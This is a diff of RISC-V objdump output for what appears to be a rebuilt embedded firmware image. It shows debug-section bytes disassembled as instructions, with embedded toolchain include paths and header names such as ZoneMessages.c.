+     c04:	6e69                	lui	t3,0x1a
+     c06:	64756c63          	bltu	a0,t2,125e <__stack_size+0xa5e>
+     c0a:	0065                	c.nop	25
+     c0c:	6d6f682f          	0x6d6f682f
+     c10:	2f65                	jal	13c8 <__stack_size+0xbc8>
+     c12:	6972                	flw	fs2,28(sp)
+     c14:	2f766373          	csrrsi	t1,0x2f7,12
+     c18:	6f74                	flw	fa3,92(a4)
+     c1a:	2f736c6f          	jal	s8,37710 <__stack_size+0x36f10>
+     c1e:	6972                	flw	fs2,28(sp)
+     c20:	2d766373          	csrrsi	t1,0x2d7,12
+     c24:	2d756e67          	0x2d756e67
+     c28:	6f74                	flw	fa3,92(a4)
+     c2a:	68636c6f          	jal	s8,372b0 <__stack_size+0x36ab0>
+     c2e:	6961                	lui	s2,0x18
+     c30:	2d6e                	fld	fs10,216(sp)
+     c32:	6568                	flw	fa0,76(a0)
+     c34:	6678                	flw	fa4,76(a2)
+     c36:	7669                	lui	a2,0xffffa
+     c38:	2f65                	jal	13f0 <__stack_size+0xbf0>
+     c3a:	6972                	flw	fs2,28(sp)
+     c3c:	36766373          	csrrsi	t1,0x367,12
+     c40:	2d34                	fld	fa3,88(a0)
+     c42:	6e75                	lui	t3,0x1d
+     c44:	776f6e6b          	0x776f6e6b
+     c48:	2d6e                	fld	fs10,216(sp)
+     c4a:	6c65                	lui	s8,0x19
+     c4c:	2f66                	fld	ft10,88(sp)
+     c4e:	6e69                	lui	t3,0x1a
+     c50:	64756c63          	bltu	a0,t2,12a8 <__stack_size+0xaa8>
+     c54:	2f65                	jal	140c <__stack_size+0xc0c>
+     c56:	616d                	addi	sp,sp,240
+     c58:	6e696863          	bltu	s2,t1,1348 <__stack_size+0xb48>
+     c5c:	0065                	c.nop	25
+     c5e:	6d6f682f          	0x6d6f682f
+     c62:	2f65                	jal	141a <__stack_size+0xc1a>
+     c64:	6972                	flw	fs2,28(sp)
+     c66:	2f766373          	csrrsi	t1,0x2f7,12
+     c6a:	6f74                	flw	fa3,92(a4)
+     c6c:	2f736c6f          	jal	s8,37762 <__stack_size+0x36f62>
+     c70:	6972                	flw	fs2,28(sp)
+     c72:	2d766373          	csrrsi	t1,0x2d7,12
+     c76:	2d756e67          	0x2d756e67
+     c7a:	6f74                	flw	fa3,92(a4)
+     c7c:	68636c6f          	jal	s8,37302 <__stack_size+0x36b02>
+     c80:	6961                	lui	s2,0x18
+     c82:	2d6e                	fld	fs10,216(sp)
+     c84:	6568                	flw	fa0,76(a0)
+     c86:	6678                	flw	fa4,76(a2)
+     c88:	7669                	lui	a2,0xffffa
+     c8a:	2f65                	jal	1442 <__stack_size+0xc42>
+     c8c:	6972                	flw	fs2,28(sp)
+     c8e:	36766373          	csrrsi	t1,0x367,12
+     c92:	2d34                	fld	fa3,88(a0)
+     c94:	6e75                	lui	t3,0x1d
+     c96:	776f6e6b          	0x776f6e6b
+     c9a:	2d6e                	fld	fs10,216(sp)
+     c9c:	6c65                	lui	s8,0x19
+     c9e:	2f66                	fld	ft10,88(sp)
+     ca0:	6e69                	lui	t3,0x1a
+     ca2:	64756c63          	bltu	a0,t2,12fa <__stack_size+0xafa>
+     ca6:	2f65                	jal	145e <__stack_size+0xc5e>
+     ca8:	00737973          	csrrci	s2,0x7,6
+     cac:	5a00                	lw	s0,48(a2)
+     cae:	4d656e6f          	jal	t3,57184 <__stack_size+0x56984>
+     cb2:	7365                	lui	t1,0xffff9
+     cb4:	65676173          	csrrsi	sp,0x656,14
+     cb8:	632e                	flw	ft6,200(sp)
+     cba:	0100                	addi	s0,sp,128
+     cbc:	0000                	unimp
+     cbe:	6f5a                	flw	ft10,148(sp)
+     cc0:	656e                	flw	fa0,216(sp)
+     cc2:	654d                	lui	a0,0x13
+     cc4:	67617373          	csrrci	t1,0x676,2
+     cc8:	2e65                	jal	1080 <__stack_size+0x880>
+     cca:	0068                	addi	a0,sp,12
+     ccc:	0002                	c.slli64	zero
+     cce:	7300                	flw	fs0,32(a4)
+     cd0:	7274                	flw	fa3,100(a2)
+     cd2:	6e69                	lui	t3,0x1a
+     cd4:	00682e67          	0x682e67
+     cd8:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     cdc:	6474                	flw	fa3,76(s0)
+     cde:	696c                	flw	fa1,84(a0)
+     ce0:	2e62                	fld	ft8,24(sp)
+     ce2:	0068                	addi	a0,sp,12
+     ce4:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     ce8:	6474                	flw	fa3,76(s0)
+     cea:	6e69                	lui	t3,0x1a
+     cec:	2d74                	fld	fa3,216(a0)
+     cee:	2e636367          	0x2e636367
+     cf2:	0068                	addi	a0,sp,12
+     cf4:	0004                	0x4
+     cf6:	7300                	flw	fs0,32(a4)
+     cf8:	6474                	flw	fa3,76(s0)
+     cfa:	6e69                	lui	t3,0x1a
+     cfc:	2e74                	fld	fa3,216(a2)
+     cfe:	0068                	addi	a0,sp,12
+     d00:	0004                	0x4
+     d02:	7300                	flw	fs0,32(a4)
+     d04:	6474                	flw	fa3,76(s0)
+     d06:	6564                	flw	fs1,76(a0)
+     d08:	2e66                	fld	ft8,88(sp)
+     d0a:	0068                	addi	a0,sp,12
+     d0c:	0004                	0x4
+     d0e:	6900                	flw	fs0,16(a0)
+     d10:	6565                	lui	a0,0x19
+     d12:	6665                	lui	a2,0x19
+     d14:	2e70                	fld	fa2,216(a2)
+     d16:	0068                	addi	a0,sp,12
+     d18:	0005                	c.nop	1
+     d1a:	5f00                	lw	s0,56(a4)
+     d1c:	6e61                	lui	t3,0x18
+     d1e:	682e6973          	csrrsi	s2,0x682,28
+     d22:	0300                	addi	s0,sp,384
+     d24:	0000                	unimp
+     d26:	656e                	flw	fa0,216(sp)
+     d28:	62696c77          	0x62696c77
+     d2c:	682e                	flw	fa6,200(sp)
+     d2e:	0300                	addi	s0,sp,384
+     d30:	0000                	unimp
+     d32:	6e5f 7765 696c      	0x696c77656e5f
+     d38:	5f62                	lw	t5,56(sp)
+     d3a:	6576                	flw	fa0,92(sp)
+     d3c:	7372                	flw	ft6,60(sp)
+     d3e:	6f69                	lui	t5,0x1a
+     d40:	2e6e                	fld	ft8,216(sp)
+     d42:	0068                	addi	a0,sp,12
+     d44:	63000003          	lb	zero,1584(zero) # 630 <__stack_size-0x1d0>
+     d48:	69666e6f          	jal	t3,673de <__stack_size+0x66bde>
+     d4c:	00682e67          	0x682e67
+     d50:	0006                	c.slli	zero,0x1
+     d52:	6600                	flw	fs0,8(a2)
+     d54:	6165                	addi	sp,sp,112
+     d56:	7574                	flw	fa3,108(a0)
+     d58:	6572                	flw	fa0,28(sp)
+     d5a:	00682e73          	csrrs	t3,0x6,a6
+     d5e:	0006                	c.slli	zero,0x1
+     d60:	7200                	flw	fs0,32(a2)
+     d62:	6565                	lui	a0,0x19
+     d64:	746e                	flw	fs0,248(sp)
+     d66:	682e                	flw	fa6,200(sp)
+     d68:	0600                	addi	s0,sp,768
+     d6a:	0000                	unimp
+     d6c:	745f 7079 7365      	0x73657079745f
+     d72:	682e                	flw	fa6,200(sp)
+     d74:	0600                	addi	s0,sp,768
      d76:	0000                	unimp
-     d78:	0501                	addi	a0,a0,0
-     d7a:	0019                	c.nop	6
-     d7c:	0402                	c.slli64	s0
-     d7e:	78030603          	lb	a2,1920(t1)
-     d82:	0209                	addi	tp,tp,2
-     d84:	0100                	addi	s0,sp,128
-     d86:	1005                	c.nop	-31
-     d88:	0200                	addi	s0,sp,256
-     d8a:	0304                	addi	s1,sp,384
-     d8c:	00090003          	lb	zero,0(s2)
-     d90:	0100                	addi	s0,sp,128
-     d92:	0205                	addi	tp,tp,1
-     d94:	0200                	addi	s0,sp,256
-     d96:	0304                	addi	s1,sp,384
-     d98:	0306                	slli	t1,t1,0x1
-     d9a:	0900                	addi	s0,sp,144
-     d9c:	0000                	unimp
-     d9e:	0501                	addi	a0,a0,0
-     da0:	0306                	slli	t1,t1,0x1
-     da2:	090c                	addi	a1,sp,144
-     da4:	0008                	0x8
-     da6:	0501                	addi	a0,a0,0
-     da8:	001e                	c.slli	zero,0x7
-     daa:	0402                	c.slli64	s0
-     dac:	01030603          	lb	a2,16(t1)
-     db0:	0209                	addi	tp,tp,2
-     db2:	0100                	addi	s0,sp,128
-     db4:	2805                	jal	de4 <__stack_size+0x5e4>
-     db6:	0200                	addi	s0,sp,256
-     db8:	0304                	addi	s1,sp,384
-     dba:	0306                	slli	t1,t1,0x1
-     dbc:	0900                	addi	s0,sp,144
-     dbe:	0000                	unimp
-     dc0:	0501                	addi	a0,a0,0
-     dc2:	0019                	c.nop	6
-     dc4:	0402                	c.slli64	s0
-     dc6:	00030603          	lb	a2,0(t1)
-     dca:	0809                	addi	a6,a6,2
-     dcc:	0100                	addi	s0,sp,128
-     dce:	1005                	c.nop	-31
-     dd0:	0200                	addi	s0,sp,256
-     dd2:	0304                	addi	s1,sp,384
-     dd4:	00090003          	lb	zero,0(s2)
-     dd8:	0100                	addi	s0,sp,128
-     dda:	0205                	addi	tp,tp,1
-     ddc:	0200                	addi	s0,sp,256
-     dde:	0304                	addi	s1,sp,384
-     de0:	0306                	slli	t1,t1,0x1
-     de2:	0900                	addi	s0,sp,144
-     de4:	0000                	unimp
-     de6:	0601                	addi	a2,a2,0
-     de8:	06090103          	lb	sp,96(s2)
-     dec:	0100                	addi	s0,sp,128
-     dee:	1005                	c.nop	-31
-     df0:	00090003          	lb	zero,0(s2)
-     df4:	0100                	addi	s0,sp,128
-     df6:	3005                	jal	616 <__stack_size-0x1ea>
-     df8:	0e090003          	lb	zero,224(s2)
+     d78:	745f 7079 7365      	0x73657079745f
+     d7e:	682e                	flw	fa6,200(sp)
+     d80:	0500                	addi	s0,sp,640
+     d82:	0000                	unimp
+     d84:	645f 6665 7561      	0x75616665645f
+     d8a:	746c                	flw	fa1,108(s0)
+     d8c:	745f 7079 7365      	0x73657079745f
+     d92:	682e                	flw	fa6,200(sp)
+     d94:	0500                	addi	s0,sp,640
+     d96:	0000                	unimp
+     d98:	6f6c                	flw	fa1,92(a4)
+     d9a:	682e6b63          	bltu	t3,sp,1430 <__stack_size+0xc30>
+     d9e:	0600                	addi	s0,sp,768
+     da0:	0000                	unimp
+     da2:	66656463          	bltu	a0,t1,140a <__stack_size+0xc0a>
+     da6:	00682e73          	csrrs	t3,0x6,a6
+     daa:	0006                	c.slli	zero,0x1
+     dac:	7300                	flw	fs0,32(a4)
+     dae:	6474                	flw	fa3,76(s0)
+     db0:	696c                	flw	fa1,84(a0)
+     db2:	2e62                	fld	ft8,24(sp)
+     db4:	0068                	addi	a0,sp,12
+     db6:	0005                	c.nop	1
+     db8:	6100                	flw	fs0,0(a0)
+     dba:	6c6c                	flw	fa1,92(s0)
+     dbc:	2e61636f          	jal	t1,170a2 <__stack_size+0x168a2>
+     dc0:	0068                	addi	a0,sp,12
+     dc2:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+     dc6:	6f6c                	flw	fa1,92(a4)
+     dc8:	656c6163          	bltu	s8,s6,140a <__stack_size+0xc0a>
+     dcc:	682e                	flw	fa6,200(sp)
+     dce:	0600                	addi	s0,sp,768
+     dd0:	0000                	unimp
+     dd2:	69727473          	csrrci	s0,0x697,4
+     dd6:	676e                	flw	fa4,216(sp)
+     dd8:	00682e73          	csrrs	t3,0x6,a6
+     ddc:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     de0:	7274                	flw	fa3,100(a2)
+     de2:	6e69                	lui	t3,0x1a
+     de4:	00682e67          	0x682e67
+     de8:	0006                	c.slli	zero,0x1
+     dea:	0000                	unimp
+     dec:	0105                	addi	sp,sp,1
+     dee:	0500                	addi	s0,sp,640
+     df0:	1202                	slli	tp,tp,0x20
+     df2:	401d                	c.li	zero,7
+     df4:	1620                	addi	s0,sp,808
+     df6:	0205                	addi	tp,tp,1
+     df8:	00090103          	lb	sp,0(s2) # 18000 <__stack_size+0x17800>
      dfc:	0100                	addi	s0,sp,128
-     dfe:	4405                	li	s0,1
-     e00:	0306                	slli	t1,t1,0x1
-     e02:	0900                	addi	s0,sp,144
-     e04:	0000                	unimp
-     e06:	0501                	addi	a0,a0,0
-     e08:	0602                	c.slli64	a2
-     e0a:	08090203          	lb	tp,128(s2)
-     e0e:	0100                	addi	s0,sp,128
-     e10:	0705                	addi	a4,a4,1
-     e12:	00090003          	lb	zero,0(s2)
-     e16:	0100                	addi	s0,sp,128
-     e18:	1005                	c.nop	-31
-     e1a:	00090003          	lb	zero,0(s2)
-     e1e:	0100                	addi	s0,sp,128
-     e20:	3a05                	jal	750 <__stack_size-0xb0>
-     e22:	0306                	slli	t1,t1,0x1
-     e24:	097e                	slli	s2,s2,0x1f
-     e26:	0000                	unimp
-     e28:	0501                	addi	a0,a0,0
-     e2a:	09030303          	lb	t1,144(t1)
-     e2e:	0002                	c.slli64	zero
-     e30:	0501                	addi	a0,a0,0
-     e32:	0302                	c.slli64	t1
-     e34:	097f                	0x97f
-     e36:	000c                	0xc
-     e38:	0501                	addi	a0,a0,0
-     e3a:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     e3e:	01030603          	lb	a2,16(t1)
-     e42:	0409                	addi	s0,s0,2
-     e44:	0100                	addi	s0,sp,128
-     e46:	0205                	addi	tp,tp,1
-     e48:	0200                	addi	s0,sp,256
-     e4a:	0304                	addi	s1,sp,384
-     e4c:	0306                	slli	t1,t1,0x1
-     e4e:	097f                	0x97f
-     e50:	0018                	0x18
-     e52:	0501                	addi	a0,a0,0
-     e54:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     e58:	09010303          	lb	t1,144(sp)
-     e5c:	0002                	c.slli64	zero
-     e5e:	0501                	addi	a0,a0,0
-     e60:	0019                	c.nop	6
-     e62:	0402                	c.slli64	s0
-     e64:	7f030603          	lb	a2,2032(t1)
-     e68:	0409                	addi	s0,s0,2
-     e6a:	0100                	addi	s0,sp,128
-     e6c:	1005                	c.nop	-31
-     e6e:	0200                	addi	s0,sp,256
-     e70:	0304                	addi	s1,sp,384
-     e72:	00090003          	lb	zero,0(s2)
-     e76:	0100                	addi	s0,sp,128
-     e78:	0205                	addi	tp,tp,1
-     e7a:	0200                	addi	s0,sp,256
-     e7c:	0304                	addi	s1,sp,384
-     e7e:	0306                	slli	t1,t1,0x1
-     e80:	0900                	addi	s0,sp,144
-     e82:	0000                	unimp
-     e84:	0601                	addi	a2,a2,0
-     e86:	04090303          	lb	t1,64(s2)
-     e8a:	0100                	addi	s0,sp,128
-     e8c:	12090103          	lb	sp,288(s2)
-     e90:	0100                	addi	s0,sp,128
-     e92:	12090203          	lb	tp,288(s2)
-     e96:	0100                	addi	s0,sp,128
-     e98:	0505                	addi	a0,a0,1
-     e9a:	0c090103          	lb	sp,192(s2)
-     e9e:	0100                	addi	s0,sp,128
-     ea0:	00090103          	lb	sp,0(s2)
-     ea4:	0100                	addi	s0,sp,128
-     ea6:	0205                	addi	tp,tp,1
-     ea8:	12090103          	lb	sp,288(s2)
+     dfe:	00090103          	lb	sp,0(s2)
+     e02:	0100                	addi	s0,sp,128
+     e04:	0105                	addi	sp,sp,1
+     e06:	0306                	slli	t1,t1,0x1
+     e08:	097e                	slli	s2,s2,0x1f
+     e0a:	0000                	unimp
+     e0c:	0501                	addi	a0,a0,0
+     e0e:	031c                	addi	a5,sp,384
+     e10:	0902                	c.slli64	s2
+     e12:	0002                	c.slli64	zero
+     e14:	0501                	addi	a0,a0,0
+     e16:	0301                	addi	t1,t1,0
+     e18:	097e                	slli	s2,s2,0x1f
+     e1a:	0002                	c.slli64	zero
+     e1c:	0501                	addi	a0,a0,0
+     e1e:	031c                	addi	a5,sp,384
+     e20:	0902                	c.slli64	s2
+     e22:	0002                	c.slli64	zero
+     e24:	0501                	addi	a0,a0,0
+     e26:	0602                	c.slli64	a2
+     e28:	04090103          	lb	sp,64(s2)
+     e2c:	0100                	addi	s0,sp,128
+     e2e:	0105                	addi	sp,sp,1
+     e30:	0306                	slli	t1,t1,0x1
+     e32:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+     e36:	0501                	addi	a0,a0,0
+     e38:	030a                	slli	t1,t1,0x2
+     e3a:	097d                	addi	s2,s2,31
+     e3c:	0002                	c.slli64	zero
+     e3e:	0501                	addi	a0,a0,0
+     e40:	0602                	c.slli64	a2
+     e42:	04090103          	lb	sp,64(s2)
+     e46:	0100                	addi	s0,sp,128
+     e48:	0b05                	addi	s6,s6,1
+     e4a:	0306                	slli	t1,t1,0x1
+     e4c:	0900                	addi	s0,sp,144
+     e4e:	0000                	unimp
+     e50:	0501                	addi	a0,a0,0
+     e52:	0602                	c.slli64	a2
+     e54:	04090103          	lb	sp,64(s2)
+     e58:	0100                	addi	s0,sp,128
+     e5a:	0105                	addi	sp,sp,1
+     e5c:	0306                	slli	t1,t1,0x1
+     e5e:	0901                	addi	s2,s2,0
+     e60:	0000                	unimp
+     e62:	0901                	addi	s2,s2,0
+     e64:	0004                	0x4
+     e66:	0100                	addi	s0,sp,128
+     e68:	0501                	addi	a0,a0,0
+     e6a:	0001                	nop
+     e6c:	0205                	addi	tp,tp,1
+     e6e:	1d2a                	slli	s10,s10,0x2a
+     e70:	2040                	fld	fs0,128(s0)
+     e72:	05010c03          	lb	s8,80(sp)
+     e76:	0302                	c.slli64	t1
+     e78:	0901                	addi	s2,s2,0
+     e7a:	0000                	unimp
+     e7c:	0501                	addi	a0,a0,0
+     e7e:	0601                	addi	a2,a2,0
+     e80:	00097f03          	0x97f03
+     e84:	0100                	addi	s0,sp,128
+     e86:	0205                	addi	tp,tp,1
+     e88:	06090103          	lb	sp,96(s2)
+     e8c:	0100                	addi	s0,sp,128
+     e8e:	0105                	addi	sp,sp,1
+     e90:	02097f03          	0x2097f03
+     e94:	0100                	addi	s0,sp,128
+     e96:	0205                	addi	tp,tp,1
+     e98:	02090103          	lb	sp,32(s2)
+     e9c:	0100                	addi	s0,sp,128
+     e9e:	0306                	slli	t1,t1,0x1
+     ea0:	0901                	addi	s2,s2,0
+     ea2:	0004                	0x4
+     ea4:	0501                	addi	a0,a0,0
+     ea6:	0601                	addi	a2,a2,0
+     ea8:	02090103          	lb	sp,32(s2)
      eac:	0100                	addi	s0,sp,128
-     eae:	0605                	addi	a2,a2,1
-     eb0:	0306                	slli	t1,t1,0x1
-     eb2:	0900                	addi	s0,sp,144
-     eb4:	0000                	unimp
-     eb6:	0501                	addi	a0,a0,0
-     eb8:	09000317          	auipc	t1,0x9000
-     ebc:	0002                	c.slli64	zero
-     ebe:	0501                	addi	a0,a0,0
-     ec0:	032e                	slli	t1,t1,0xb
-     ec2:	0900                	addi	s0,sp,144
-     ec4:	0002                	c.slli64	zero
-     ec6:	0501                	addi	a0,a0,0
-     ec8:	0602                	c.slli64	a2
-     eca:	02090103          	lb	sp,32(s2)
+     eae:	0205                	addi	tp,tp,1
+     eb0:	06097f03          	0x6097f03
+     eb4:	0100                	addi	s0,sp,128
+     eb6:	0409                	addi	s0,s0,2
+     eb8:	0000                	unimp
+     eba:	0101                	addi	sp,sp,0
+     ebc:	0105                	addi	sp,sp,1
+     ebe:	0500                	addi	s0,sp,640
+     ec0:	4402                	lw	s0,0(sp)
+     ec2:	401d                	c.li	zero,7
+     ec4:	0320                	addi	s0,sp,392
+     ec6:	02050113          	addi	sp,a0,32 # 19020 <__stack_size+0x18820>
+     eca:	00090103          	lb	sp,0(s2)
      ece:	0100                	addi	s0,sp,128
-     ed0:	12090103          	lb	sp,288(s2)
-     ed4:	0100                	addi	s0,sp,128
-     ed6:	18090303          	lb	t1,384(s2)
-     eda:	0100                	addi	s0,sp,128
-     edc:	2c05                	jal	110c <__stack_size+0x90c>
-     ede:	00090003          	lb	zero,0(s2)
-     ee2:	0100                	addi	s0,sp,128
-     ee4:	00090003          	lb	zero,0(s2)
-     ee8:	0100                	addi	s0,sp,128
-     eea:	0a090003          	lb	zero,160(s2)
+     ed0:	0105                	addi	sp,sp,1
+     ed2:	0306                	slli	t1,t1,0x1
+     ed4:	097f                	0x97f
+     ed6:	0000                	unimp
+     ed8:	0301                	addi	t1,t1,0
+     eda:	0900                	addi	s0,sp,144
+     edc:	000a                	c.slli	zero,0x2
+     ede:	0501                	addi	a0,a0,0
+     ee0:	0304                	addi	s1,sp,384
+     ee2:	0901                	addi	s2,s2,0
+     ee4:	0004                	0x4
+     ee6:	0501                	addi	a0,a0,0
+     ee8:	01030603          	lb	a2,16(t1) # ffff9010 <_heap_end+0x7ffea810>
+     eec:	0209                	addi	tp,tp,2
      eee:	0100                	addi	s0,sp,128
-     ef0:	0205                	addi	tp,tp,1
-     ef2:	02090103          	lb	sp,32(s2)
-     ef6:	0100                	addi	s0,sp,128
-     ef8:	2c05                	jal	1128 <__stack_size+0x928>
-     efa:	00090003          	lb	zero,0(s2)
-     efe:	0100                	addi	s0,sp,128
-     f00:	00090003          	lb	zero,0(s2)
-     f04:	0100                	addi	s0,sp,128
-     f06:	08090003          	lb	zero,128(s2)
-     f0a:	0100                	addi	s0,sp,128
-     f0c:	0306                	slli	t1,t1,0x1
+     ef0:	0805                	addi	a6,a6,1
+     ef2:	0306                	slli	t1,t1,0x1
+     ef4:	0900                	addi	s0,sp,144
+     ef6:	0000                	unimp
+     ef8:	0501                	addi	a0,a0,0
+     efa:	0602                	c.slli64	a2
+     efc:	04090103          	lb	sp,64(s2)
+     f00:	0100                	addi	s0,sp,128
+     f02:	1405                	addi	s0,s0,-31
+     f04:	0306                	slli	t1,t1,0x1
+     f06:	0900                	addi	s0,sp,144
+     f08:	0000                	unimp
+     f0a:	0501                	addi	a0,a0,0
+     f0c:	0302                	c.slli64	t1
      f0e:	0901                	addi	s2,s2,0
-     f10:	0000                	unimp
-     f12:	0301                	addi	t1,t1,0
-     f14:	097f                	0x97f
-     f16:	0002                	c.slli64	zero
-     f18:	0501                	addi	a0,a0,0
-     f1a:	0602                	c.slli64	a2
-     f1c:	02090103          	lb	sp,32(s2)
-     f20:	0100                	addi	s0,sp,128
-     f22:	2c05                	jal	1152 <__stack_size+0x952>
-     f24:	00090003          	lb	zero,0(s2)
+     f10:	0006                	c.slli	zero,0x1
+     f12:	0501                	addi	a0,a0,0
+     f14:	097f030b          	0x97f030b
+     f18:	0002                	c.slli64	zero
+     f1a:	0501                	addi	a0,a0,0
+     f1c:	0602                	c.slli64	a2
+     f1e:	02090103          	lb	sp,32(s2)
+     f22:	0100                	addi	s0,sp,128
+     f24:	06090103          	lb	sp,96(s2)
      f28:	0100                	addi	s0,sp,128
-     f2a:	00090003          	lb	zero,0(s2)
-     f2e:	0100                	addi	s0,sp,128
-     f30:	08090003          	lb	zero,128(s2)
-     f34:	0100                	addi	s0,sp,128
-     f36:	0205                	addi	tp,tp,1
-     f38:	02090103          	lb	sp,32(s2)
-     f3c:	0100                	addi	s0,sp,128
-     f3e:	2c05                	jal	116e <__stack_size+0x96e>
-     f40:	00090003          	lb	zero,0(s2)
-     f44:	0100                	addi	s0,sp,128
-     f46:	00090003          	lb	zero,0(s2)
-     f4a:	0100                	addi	s0,sp,128
-     f4c:	08090003          	lb	zero,128(s2)
-     f50:	0100                	addi	s0,sp,128
-     f52:	0205                	addi	tp,tp,1
-     f54:	02090103          	lb	sp,32(s2)
-     f58:	0100                	addi	s0,sp,128
-     f5a:	2205                	jal	107a <__stack_size+0x87a>
-     f5c:	00090003          	lb	zero,0(s2)
-     f60:	0100                	addi	s0,sp,128
-     f62:	00090003          	lb	zero,0(s2)
-     f66:	0100                	addi	s0,sp,128
-     f68:	0a090003          	lb	zero,160(s2)
-     f6c:	0100                	addi	s0,sp,128
-     f6e:	0205                	addi	tp,tp,1
-     f70:	02090103          	lb	sp,32(s2)
-     f74:	0100                	addi	s0,sp,128
-     f76:	2205                	jal	1096 <__stack_size+0x896>
-     f78:	00090003          	lb	zero,0(s2)
-     f7c:	0100                	addi	s0,sp,128
-     f7e:	00090003          	lb	zero,0(s2)
+     f2a:	0306                	slli	t1,t1,0x1
+     f2c:	0901                	addi	s2,s2,0
+     f2e:	0000                	unimp
+     f30:	0501                	addi	a0,a0,0
+     f32:	030a                	slli	t1,t1,0x2
+     f34:	097f                	0x97f
+     f36:	0002                	c.slli64	zero
+     f38:	0501                	addi	a0,a0,0
+     f3a:	0602                	c.slli64	a2
+     f3c:	04090103          	lb	sp,64(s2)
+     f40:	0100                	addi	s0,sp,128
+     f42:	08090203          	lb	tp,128(s2)
+     f46:	0100                	addi	s0,sp,128
+     f48:	0105                	addi	sp,sp,1
+     f4a:	0306                	slli	t1,t1,0x1
+     f4c:	0901                	addi	s2,s2,0
+     f4e:	0000                	unimp
+     f50:	0901                	addi	s2,s2,0
+     f52:	000e                	c.slli	zero,0x3
+     f54:	0100                	addi	s0,sp,128
+     f56:	0501                	addi	a0,a0,0
+     f58:	0001                	nop
+     f5a:	0205                	addi	tp,tp,1
+     f5c:	1d84                	addi	s1,sp,752
+     f5e:	2040                	fld	fs0,128(s0)
+     f60:	05011f03          	lh	t5,80(sp)
+     f64:	0302                	c.slli64	t1
+     f66:	0902                	c.slli64	s2
+     f68:	0000                	unimp
+     f6a:	0501                	addi	a0,a0,0
+     f6c:	0601                	addi	a2,a2,0
+     f6e:	00097e03          	0x97e03
+     f72:	0100                	addi	s0,sp,128
+     f74:	1f05                	addi	t5,t5,-31
+     f76:	06090203          	lb	tp,96(s2)
+     f7a:	0100                	addi	s0,sp,128
+     f7c:	0105                	addi	sp,sp,1
+     f7e:	08097e03          	0x8097e03
      f82:	0100                	addi	s0,sp,128
-     f84:	0a090003          	lb	zero,160(s2)
+     f84:	06090003          	lb	zero,96(s2)
      f88:	0100                	addi	s0,sp,128
-     f8a:	0205                	addi	tp,tp,1
-     f8c:	02090103          	lb	sp,32(s2)
+     f8a:	1f05                	addi	t5,t5,-31
+     f8c:	02090203          	lb	tp,32(s2)
      f90:	0100                	addi	s0,sp,128
-     f92:	2205                	jal	10b2 <__stack_size+0x8b2>
-     f94:	00090003          	lb	zero,0(s2)
+     f92:	4f05                	li	t5,1
+     f94:	04090003          	lb	zero,64(s2)
      f98:	0100                	addi	s0,sp,128
-     f9a:	00090003          	lb	zero,0(s2)
-     f9e:	0100                	addi	s0,sp,128
-     fa0:	0a090003          	lb	zero,160(s2)
-     fa4:	0100                	addi	s0,sp,128
-     fa6:	0205                	addi	tp,tp,1
-     fa8:	02090103          	lb	sp,32(s2)
-     fac:	0100                	addi	s0,sp,128
-     fae:	2205                	jal	10ce <__stack_size+0x8ce>
-     fb0:	00090003          	lb	zero,0(s2)
-     fb4:	0100                	addi	s0,sp,128
-     fb6:	00090003          	lb	zero,0(s2)
-     fba:	0100                	addi	s0,sp,128
-     fbc:	0a090003          	lb	zero,160(s2)
+     f9a:	1805                	addi	a6,a6,-31
+     f9c:	04090003          	lb	zero,64(s2)
+     fa0:	0100                	addi	s0,sp,128
+     fa2:	0205                	addi	tp,tp,1
+     fa4:	0306                	slli	t1,t1,0x1
+     fa6:	0902                	c.slli64	s2
+     fa8:	000a                	c.slli	zero,0x2
+     faa:	0301                	addi	t1,t1,0
+     fac:	0902                	c.slli64	s2
+     fae:	0000                	unimp
+     fb0:	0501                	addi	a0,a0,0
+     fb2:	0003062f          	0x3062f
+     fb6:	0009                	c.nop	2
+     fb8:	0100                	addi	s0,sp,128
+     fba:	0205                	addi	tp,tp,1
+     fbc:	0c090003          	lb	zero,192(s2)
      fc0:	0100                	addi	s0,sp,128
-     fc2:	0205                	addi	tp,tp,1
-     fc4:	02090203          	lb	tp,32(s2)
-     fc8:	0100                	addi	s0,sp,128
-     fca:	0505                	addi	a0,a0,1
-     fcc:	0306                	slli	t1,t1,0x1
-     fce:	0900                	addi	s0,sp,144
-     fd0:	0000                	unimp
-     fd2:	0501                	addi	a0,a0,0
-     fd4:	09020303          	lb	t1,144(tp) # 90 <__stack_size-0x770>
-     fd8:	0004                	0x4
-     fda:	0301                	addi	t1,t1,0
-     fdc:	0901                	addi	s2,s2,0
-     fde:	000e                	c.slli	zero,0x3
-     fe0:	0301                	addi	t1,t1,0
-     fe2:	0901                	addi	s2,s2,0
-     fe4:	000c                	0xc
-     fe6:	0301                	addi	t1,t1,0
-     fe8:	0901                	addi	s2,s2,0
-     fea:	000c                	0xc
-     fec:	0301                	addi	t1,t1,0
-     fee:	0901                	addi	s2,s2,0
-     ff0:	0010                	0x10
-     ff2:	0301                	addi	t1,t1,0
-     ff4:	0901                	addi	s2,s2,0
-     ff6:	0010                	0x10
-     ff8:	0301                	addi	t1,t1,0
-     ffa:	0902                	c.slli64	s2
-     ffc:	0014                	0x14
-     ffe:	0301                	addi	t1,t1,0
-    1000:	0901                	addi	s2,s2,0
-    1002:	000c                	0xc
-    1004:	0501                	addi	a0,a0,0
-    1006:	0311                	addi	t1,t1,4
-    1008:	000c096f          	jal	s2,c1008 <__stack_size+0xc0808>
-    100c:	0501                	addi	a0,a0,0
-    100e:	09120303          	lb	t1,145(tp) # 91 <__stack_size-0x76f>
-    1012:	0002                	c.slli64	zero
-    1014:	0501                	addi	a0,a0,0
-    1016:	0311                	addi	t1,t1,4
-    1018:	096e                	slli	s2,s2,0x1b
-    101a:	000c                	0xc
-    101c:	0501                	addi	a0,a0,0
-    101e:	09130303          	lb	t1,145(t1) # 9000f49 <__stack_size+0x9000749>
-    1022:	0002                	c.slli64	zero
-    1024:	0501                	addi	a0,a0,0
-    1026:	0311                	addi	t1,t1,4
-    1028:	096d                	addi	s2,s2,27
-    102a:	0014                	0x14
-    102c:	0501                	addi	a0,a0,0
-    102e:	09030603          	lb	a2,144(t1)
-    1032:	0409                	addi	s0,s0,2
-    1034:	0100                	addi	s0,sp,128
